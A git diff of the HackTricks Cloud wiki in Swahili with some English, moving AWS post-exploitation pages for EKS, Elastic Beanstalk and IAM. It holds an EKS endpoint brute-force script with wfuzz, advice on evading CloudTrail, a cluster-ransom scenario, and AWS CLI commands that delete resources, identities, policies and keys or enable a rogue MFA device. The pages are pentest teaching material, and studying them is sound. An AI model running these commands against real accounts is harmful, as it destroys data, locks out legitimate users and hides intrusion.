DRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### From AWS to Kubernetes
+
+The **muumba** wa **EKS cluster** atakuwa **DAIMA** na uwezo wa kuingia katika sehemu ya klasta ya **kubernetes** ya kundi **`system:masters`** (k8s admin). Wakati wa kuandika haya kuna **hakuna njia ya moja kwa moja** ya kupata **nani aliyeunda** klasta (unaweza kuangalia CloudTrail). Na **hakuna njia** ya **kuondoa** hiyo **idhini**.
+
+Njia ya kuwapa ufikiaji kwa **K8s** kwa watumiaji au roles zaidi za **AWS IAM** ni kutumia **configmap** **`aws-auth`**.
+
+> [!WARNING]
+> Hivyo basi, yeyote aliye na **write access** kwenye config map **`aws-auth`** ataweza **compromise the whole cluster**.
+
+Kwa maelezo zaidi kuhusu jinsi ya **grant extra privileges to IAM roles & users** katika **akaunti ile ile au tofauti** na jinsi ya **abuse** hii: [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
+
+Angalia pia [**this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **chapisho hili ili kujifunza jinsi authentication IAM -> Kubernetes inavyofanya kazi**.
+
+### From Kubernetes to AWS
+
+Inawezekana kuruhusu **OpenID authentication for kubernetes service account** ili kuwaruhusu kuchukua roles kwenye AWS. Jifunze jinsi [**hii inavyofanya kazi kwenye ukurasa huu**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+
+### GET Api Server Endpoint from a JWT Token
+
+Kwa kutafsiri token ya JWT tunapata cluster id na pia region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Ikijulikana kuwa muundo wa kawaida wa EKS url ni
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+Sikupata nyaraka yoyote inayofafanua vigezo vya 'two chars' na 'number'. Lakini baada ya kufanya majaribio nimeona hizi zikirudiwa mara kwa mara:
+
+- gr7
+- yl4
+
+Vivyo hivyo, ni chars 3 tu; tunaweza bruteforce. Tumia script iliyo hapa chini kuzalisha orodha
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+Kisha kwa wfuzz
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> Kumbuka kubadilisha & .
+
+### Kuepuka CloudTrail
+
+If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
+
+Hivyo wakati the attacker anazungumza na EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
+
+Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
+
+### EKS Fidya?
+
+By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster.
+
+So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
+
+> [!TIP]
+> Kumbuka kwamba ikiwa cluster ilikuwa ikitumia **EC2 VMs**, inawezekana kupata Admin privileges kutoka kwa **Node** na kurejesha cluster.
+>
+> Kwa kweli, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md

@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Kwa maelezo zaidi:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili
-
-Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplicationVersion` anaweza **kufuta toleo la programu lililopo**. Kitendo hiki kinaweza kuharibu mipango ya usambazaji wa programu au kusababisha kupotea kwa toleo maalum la programu ikiwa hakijahifadhiwa.
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa usambazaji wa programu na kupoteza kwa matoleo ya programu.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili
-
-Mshambuliaji mwenye ruhusa `elasticbeanstalk:TerminateEnvironment` anaweza **kuondoa mazingira ya Elastic Beanstalk yaliyopo**, na kusababisha muda wa kukosekana kwa programu na kupoteza data ikiwa mazingira hayajapangwa kwa ajili ya nakala za akiba.
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**Madhara Yanayoweza Kutokea**: Wakati wa kusimama kwa programu, kupoteza data, na kuvurugika kwa huduma.
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili
-
-Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplication` anaweza **kufuta programu nzima ya Elastic Beanstalk**, ikiwa ni pamoja na toleo zake zote na mazingira. Kitendo hiki kinaweza kusababisha kupoteza kwa kiasi kikubwa rasilimali na mipangilio ya programu ikiwa hakijahifadhiwa.
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**Madhara Yanayoweza Kutokea**: Kupoteza rasilimali za programu, mipangilio, mazingira, na matoleo ya programu, ambayo inaweza kusababisha usumbufu wa huduma na kupoteza data.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili
-
-Mshambuliaji mwenye ruhusa ya `elasticbeanstalk:SwapEnvironmentCNAMEs` anaweza **kubadilisha rekodi za CNAME za mazingira mawili ya Elastic Beanstalk**, ambayo inaweza kusababisha toleo sahihi la programu kutolewa kwa watumiaji au kusababisha tabia isiyokusudiwa.
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**Athari Inayoweza Kutokea**: Kutumikia toleo sahihi la programu kwa watumiaji au kusababisha tabia isiyokusudiwa katika programu kutokana na mazingira yaliyobadilishwa.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!NOTE]
-> TODO: Jaribu kama ruhusa zaidi zinahitajika kwa hili
-
-Mshambuliaji mwenye ruhusa za `elasticbeanstalk:AddTags` na `elasticbeanstalk:RemoveTags` anaweza **kuongeza au kuondoa lebo kwenye rasilimali za Elastic Beanstalk**. Kitendo hiki kinaweza kusababisha mgawanyiko usio sahihi wa rasilimali, bili, au usimamizi wa rasilimali.
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**Madhara Yanayoweza Kutokea**: Usambazaji usio sahihi wa rasilimali, bili, au usimamizi wa rasilimali kutokana na lebo zilizoongezwa au kuondolewa.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md

@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+For more information:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: Jaribu kama ruhusa zaidi zinahitajika kwa hili
+
+Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplicationVersion` anaweza **kufuta toleo la programu lililopo**. Kitendo hiki kinaweza kuingilia mchakato wa deployment wa programu au kusababisha upotevu wa matoleo maalum ya programu ikiwa hayatahifadhiwa.
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Potential Impact**: Kuvuruga utoaji wa programu na uwezekano wa kupoteza matoleo ya programu.
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: Thibitisha kama ruhusa zaidi zinahitajika kwa hili
+
+Mshambuliaji mwenye ruhusa `elasticbeanstalk:TerminateEnvironment` anaweza **kuondoa mazingira ya Elastic Beanstalk yaliyopo**, kusababisha muda wa kutofanya kazi kwa programu na uwezekano wa kupoteza data ikiwa mazingira hayajasanidiwa kwa chelezo.
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Athari Inayoweza Kutokea**: Kusimamishwa kwa programu, uwezekano wa upotevu wa data, na kuvurugika kwa huduma.
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: Angalia kama ruhusa zaidi zinahitajika kwa hili
+
+Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplication` anaweza **kufuta programu nzima ya Elastic Beanstalk**, ikiwa ni pamoja na matoleo yake yote na mazingira yake. Kitendo hiki kinaweza kusababisha upotevu mkubwa wa rasilimali na usanidi za programu ikiwa hazijahifadhiwa.
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**Potential Impact**: Kupoteza rasilimali za programu, mipangilio, mazingira, na matoleo ya programu, jambo linalosababisha kuvurugika kwa huduma na uwezekano wa kupoteza data.
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: Jaribu kama ruhusa zaidi zinahitajika kwa hili
+
+Mshambuliaji mwenye ruhusa ya `elasticbeanstalk:SwapEnvironmentCNAMEs` anaweza **kubadilisha rekodi za CNAME za mazingira mawili ya Elastic Beanstalk**, jambo ambalo linaweza kusababisha toleo lisilo sahihi la programu kutumika kwa watumiaji au kusababisha tabia zisizokusudiwa.
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**Potential Impact**: Kutoa toleo lisilo sahihi la programu kwa watumiaji au kusababisha tabia isiyokusudiwa kwenye programu kutokana na kubadilishwa kwa mazingira.
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: Jaribu kama ruhusa zaidi zinahitajika kwa hili
+
+Mshambuliaji mwenye ruhusa za `elasticbeanstalk:AddTags` na `elasticbeanstalk:RemoveTags` anaweza **add or remove tags on Elastic Beanstalk resources**. Kitendo hiki kinaweza kusababisha ugawaji wa rasilimali usio sahihi, malipo isiyo sahihi, au usimamizi wa rasilimali usio sahihi.
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**Athari Inayoweza Kutokea**: Ugawaji wa rasilimali usio sahihi, malipo, au usimamizi wa rasilimali kutokana na kuongezwa au kuondolewa kwa tags.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md

@@ -1,166 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## IAM
-
-Kwa habari zaidi kuhusu ufikiaji wa IAM:
-
-{{#ref}}
-../aws-services/aws-iam-enum.md
-{{#endref}}
-
-## Confused Deputy Problem
-
-Ikiwa **unamruhusu akaunti ya nje (A)** kufikia **role** kwenye akaunti yako, huenda ukawa na **uonekano 0** juu ya **ni nani hasa anaweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia ataweza kufikia akaunti yako**.
-
-Hivyo, unapomruhusu akaunti ya nje kufikia role kwenye akaunti yako inawezekana kubainisha `ExternalId`. Hii ni kamba "secret" ambayo akaunti ya nje (A) **inahitaji kuibainisha** ili **assume the role in your organization**. Kwa kuwa **akaunti ya nje B haitajui kamba hii**, hata kama ina ufikiaji wa A **haitaweza kufikia role yako**.
-
-<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
-
-Hata hivyo, kumbuka kwamba `ExternalId` "secret" **sio siri**, yeyote anayeeza **read the IAM assume role policy will be able to see it**. Lakini mradi akaunti ya nje A inajua, na akaunti ya nje **B haitajui**, hiyo **prevents B abusing A to access your role**.
-
-Mfano:
-```json
-{
-"Version": "2012-10-17",
-"Statement": {
-"Effect": "Allow",
-"Principal": {
-"AWS": "Example Corp's AWS Account ID"
-},
-"Action": "sts:AssumeRole",
-"Condition": {
-"StringEquals": {
-"sts:ExternalId": "12345"
-}
-}
-}
-}
-```
-> [!WARNING]
-> Ili mshambulizi afaidike na confused deputy, atahitaji kwa namna fulani kugundua kama principals za akaunti ya sasa zinaweza kujifanya roles katika akaunti nyingine.
-
-### Uaminifu usiotarajiwa
-
-#### Wildcard kama principal
-```json
-{
-"Action": "sts:AssumeRole",
-"Effect": "Allow",
-"Principal": { "AWS": "*" }
-}
-```
-Sera hii **inaruhusu AWS zote** kuchukua jukumu.
-
-#### Huduma kama mwenye mamlaka
-```json
-{
-"Action": "lambda:InvokeFunction",
-"Effect": "Allow",
-"Principal": { "Service": "apigateway.amazonaws.com" },
-"Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao kuitisha Lambda hii.
-
-#### S3 kama mhusika
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-"StringEquals": {
-"aws:SourceAccount": "123456789012"
-}
-}
-```
-Ikiwa S3 bucket imepewa kama principal, kwa sababu S3 buckets hazina Account ID, ikiwa **ulifuta bucket yako na mshambuliaji akaijenga** katika akaunti yao wenyewe, basi wangeweza kuvitumia vibaya.
-
-#### Not supported
-```json
-{
-"Effect": "Allow",
-"Principal": { "Service": "cloudtrail.amazonaws.com" },
-"Action": "s3:PutObject",
-"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni kutumia sharti lenye `AWS:SourceArn` kuangalia origin ARN. Hata hivyo, **huduma baadhi huenda zisiziiunge mkono** (kama CloudTrail kwa mujibu wa baadhi ya vyanzo).
-
-### Kufuta Vyeti
-Kwa yoyote ya ruhusa zifuatazo — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — mhusika anaweza kuondoa access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates au CloudFront public keys, au kutenganisha roles kutoka kwenye instance profiles. Vitendo hivyo vinaweza mara moja kuzuia watumiaji halali na applications na kusababisha denial-of-service au kupoteza ufikiaji kwa mifumo inayotegemea vyeti hivyo, kwa hiyo ruhusa hizi za IAM lazima ziwekwe kwa ukomo mkubwa na kufuatiliwa.
-```bash
-# Remove Access Key of a user
-aws iam delete-access-key \
---user-name <Username> \
---access-key-id AKIAIOSFODNN7EXAMPLE
-
-## Remove ssh key of a user
-aws iam delete-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE
-```
-### Ufutaji wa Utambulisho
-Kwa ruhusa kama `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, au `iam:RemoveUserFromGroup`, mhusika anaweza kufuta watumiaji, majukumu, au vikundi—au kubadili uanachama wa kikundi—akiwaondoa vitambulisho na alama zinazohusiana. Hii inaweza kuvunja mara moja upatikanaji kwa watu na huduma zinazoegemea vitambulisho hivyo, ikisababisha denial-of-service au upotezaji wa upatikanaji, hivyo vitendo hivi vya IAM lazima viwekwe vizuizi vikali na kufuatiliwa.
-```bash
-# Delete a user
-aws iam delete-user \
---user-name <Username>
-
-# Delete a group
-aws iam delete-group \
---group-name <Username>
-
-# Delete a role
-aws iam delete-role \
---role-name <Role>
-```
-###
-Kwa ruhusa yoyote kati ya zifuatazo — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — mtendaji anaweza kufuta au kutenganisha managed/inline policies, kuondoa matoleo ya policies au permissions boundaries, na kuondoa uhusiano wa policies kutoka kwa watumiaji, vikundi, au roles. Hii hubomoa idhini na inaweza kubadilisha muundo wa ruhusa, ikasababisha kupoteza mara moja ufikiaji au denial-of-service kwa wadau waliotegemea policies hizo, hivyo vitendo hivi vya IAM vinapaswa kuzuiwa kwa ukali na kusimamiwa.
-```bash
-# Delete a group policy
-aws iam delete-group-policy \
---group-name <GroupName> \
---policy-name <PolicyName>
-
-# Delete a role policy
-aws iam delete-role-policy \
---role-name <RoleName> \
---policy-name <PolicyName>
-```
-### Kufuta Utambulisho uliounganishwa
-Kwa `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, mtumiaji mwenye mamlaka anaweza kufuta OIDC/SAML identity providers au kuondoa client IDs. Hii inavunja uthibitishaji uliounganishwa, ikizuia token validation na mara moja kukataa ufikiaji kwa watumiaji na huduma zinazotegemea SSO hadi IdP au mipangilio itakaporejeshwa.
-```bash
-# Delete OIDCP provider
-aws iam delete-open-id-connect-provider \
---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
-
-# Delete SAML provider
-aws iam delete-saml-provider \
---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
-```
-### Uanzishaji Haramu wa MFA
-Kwa kutumia `iam:EnableMFADevice`, mhusika anaweza kusajili kifaa cha MFA kwenye utambulisho wa mtumiaji, akizuia mtumiaji halali kuingia. Mara MFA isiyoruhusiwa itakapowashwa, mtumiaji anaweza kufungiwa hadi kifaa hicho kiondolewe au kirekebishwe (kumbuka: ikiwa vifaa vingi vya MFA vimesajiliwa, kuingia kunahitaji kimoja tu, kwa hiyo shambulio hili halitaathiri kuzuia upatikanaji).
-```bash
-aws iam enable-mfa-device \
---user-name <Username> \
---serial-number arn:aws:iam::111122223333:mfa/alice \
---authentication-code1 123456 \
---authentication-code2 789012
-```
-### Certificate/Key Metadata Tampering
-Kwa `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, mhusika anaweza kubadilisha hali au metadata ya funguo za umma na vyeti. Kwa kufanya funguo/vyeti zisizotumika au kubadilisha rejea, wanaweza kuvunja uthibitisho wa SSH, kufuta uhalali wa X.509/TLS, na kuathiri mara moja huduma zinazotegemea nyaraka hizo za uthibitisho, kusababisha kupoteza ufikiaji au upatikanaji.
-```bash
-aws iam update-ssh-public-key \
---user-name <Username> \
---ssh-public-key-id APKAEIBAERJR2EXAMPLE \
---status Inactive
-
-aws iam update-server-certificate \
---server-certificate-name <Certificate_Name> \
---new-path /prod/
-```
-## Marejeo
-
-- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -0,0 +1,166 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## IAM
+
+Kwa taarifa zaidi kuhusu ufikaji wa IAM:
+
+{{#ref}}
+../../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Tatizo la Confused Deputy
+
+Ikiwa utamu **allow an external account (A)** kufikia **role** kwenye account yako, uwezekano ni kwamba utakuwa na **0 visibility** kuhusu **nani hasa anaweza kufikia external account hiyo**. Hili ni tatizo, kwa sababu ikiwa external account nyingine (B) inaweza kufikia external account (A) kuna uwezekano kwamba **B pia ataweza kufikia account yako**.
+
+Kwa hivyo, unapomruhusu external account kufikia role kwenye account yako unaweza kutaja `ExternalId`. Hii ni kamba ya "secret" ambayo external account (A) **inahitaji kuibainisha** ili **assume the role in your organization**. Kwa kuwa **external account B haitajua kamba hii**, hata kama ana ufikaji juu ya A **hatataweza kufikia role yako**.
+
+<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
+
+Hata hivyo, kumbuka kwamba `ExternalId` hii ya "secret" **sio siri**, mtu yeyote ambaye anaweza **read the IAM assume role policy ataweza kuiona**. Lakini mradi external account A anajua, na external account **B hajatambua**, basi hii **inazuia B kutumia A vibaya ili kufikia role yako**.
+
+Mfano:
+```json
+{
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
+}
+```
+> [!WARNING]
+> Ili mshambuliaji awekeze udhaifu wa confused deputy, atahitaji kwa njia fulani kugundua ikiwa principals za akaunti ya sasa zinaweza kuiga roles katika akaunti nyingine.
+
+### Aminisho yasiyotarajiwa
+
+#### Wildcard kama principal
+```json
+{
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
+}
+```
+Sera hii **inawawezesha AWS zote** kuchukua role.
+
+#### Huduma kama principal
+```json
+{
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao ili kuitisha Lambda hii.
+
+#### S3 kama principal
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
+}
+```
+Ikiwa S3 bucket imetolewa kama principal, kwa sababu S3 buckets hazina Account ID, ikiwa umefuta **bucket yako na attacker aliitengeneza** katika account yao wenyewe, basi wanaweza kuvitumia vibaya.
+
+#### Haiungwa mkono
+```json
+{
+"Effect": "Allow",
+"Principal": { "Service": "cloudtrail.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
+Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni matumizi ya sharti lenye `AWS:SourceArn` ili kukagua ARN ya chanzo. Hata hivyo, **huduma baadhi zinaweza zisizounga mkono hilo** (kama CloudTrail kwa mujibu wa baadhi ya vyanzo).
+
+### Ufutaji wa Taarifa za Kuingia
+Kwa ruhusa zozote zifuatazo — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — mhusika anaweza kuondoa access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates au CloudFront public keys, au kuondoa roles kutoka kwa instance profiles. Hatua kama hizi zinaweza mara moja kumzuia watumiaji na programu halali na kusababisha denial-of-service au kupoteza upatikanaji kwa mifumo inayotegemea hizo credentials, hivyo ruhusa hizi za IAM lazima ziondolewe kwa ukali na zifuatiliwe.
+```bash
+# Remove Access Key of a user
+aws iam delete-access-key \
+--user-name <Username> \
+--access-key-id AKIAIOSFODNN7EXAMPLE
+
+## Remove ssh key of a user
+aws iam delete-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE
+```
+### Ufutaji wa Utambulisho
+Kwa ruhusa kama `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, au `iam:RemoveUserFromGroup`, mhusika anaweza kufuta watumiaji, majukumu, au vikundi—au kubadilisha uanachama wa kikundi—kuondoa utambulisho na alama zinazohusiana. Hii inaweza mara moja kuvunja ufikiaji kwa watu na huduma zinazotegemea utambulisho huo, kusababisha denial-of-service au kupoteza ufikiaji, kwa hivyo vitendo hivi vya IAM lazima vizuiwe kwa ukali na kufuatiliwe.
+```bash
+# Delete a user
+aws iam delete-user \
+--user-name <Username>
+
+# Delete a group
+aws iam delete-group \
+--group-name <Username>
+
+# Delete a role
+aws iam delete-role \
+--role-name <Role>
+```
+###
+Kwa ruhusa yoyote ya zifuatazo — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — mhusika anaweza kufuta au kuondoa managed/inline policies, kuondoa matoleo ya policy au permissions boundaries, na kutenganisha policies kutoka kwa watumiaji, makundi, au roles. Hii huharibu idhini na inaweza kubadilisha modeli ya ruhusa, kusababisha kupoteza mara moja kwa upatikanaji au denial-of-service kwa principals waliotegemea policies hizo, hivyo vitendo hivi vya IAM vinapaswa kuzuiwa kwa ukali na kusimamiwa.
+```bash
+# Delete a group policy
+aws iam delete-group-policy \
+--group-name <GroupName> \
+--policy-name <PolicyName>
+
+# Delete a role policy
+aws iam delete-role-policy \
+--role-name <RoleName> \
+--policy-name <PolicyName>
+```
+### Ufutaji wa Utambulisho wa Kifedereshi
+Kwa kutumia `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, mhusika anaweza kufuta watoa huduma za utambulisho wa OIDC/SAML au kuondoa client IDs. Hii inavunja uthibitishaji wa kifedereshi, kuzuia uthibitisho wa tokeni na mara moja kuzuia ufikiaji kwa watumiaji na huduma zinazotegemea SSO hadi IdP au mipangilio vitakaporejeshwa.
+```bash
+# Delete OIDCP provider
+aws iam delete-open-id-connect-provider \
+--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
+
+# Delete SAML provider
+aws iam delete-saml-provider \
+--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
+```
+### Uwezeshaji usiohalali wa MFA
+Kwa `iam:EnableMFADevice`, mhusika anaweza kusajili kifaa cha MFA kwenye utambulisho wa mtumiaji, na hivyo kuzuia mtumiaji halali kuingia. Mara tu MFA isiyoidhinishwa itakapowezeshwa, mtumiaji anaweza kufungiwa nje hadi kifaa hicho kiondolewe au kirekebishwe (kumbuka: ikiwa vifaa vingi vya MFA vimesajiliwa, kuingia kunahitaji kifaa kimoja tu, hivyo shambulio hili halitakuwa na athari ya kuzuia ufikiaji).
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
+### Certificate/Key Metadata Tampering
+Kwa kutumia `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, mwigizaji anaweza kubadilisha status au metadata ya public keys na certificates. Kwa kuitaja keys/certificates kuwa inactive au kubadilisha marejeleo, wanaweza kuvunja SSH authentication, kuharibu X.509/TLS validations, na kuingilia mara moja services zinazoegemea credentials hizo, kusababisha kupoteza ufikaji au upatikanaji.
+```bash
+aws iam update-ssh-public-key \
+--user-name <Username> \
+--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
+--status Inactive
+
+aws iam update-server-certificate \
+--server-certificate-name <Certificate_Name> \
+--new-path /prod/
+```
+## Marejeo
+
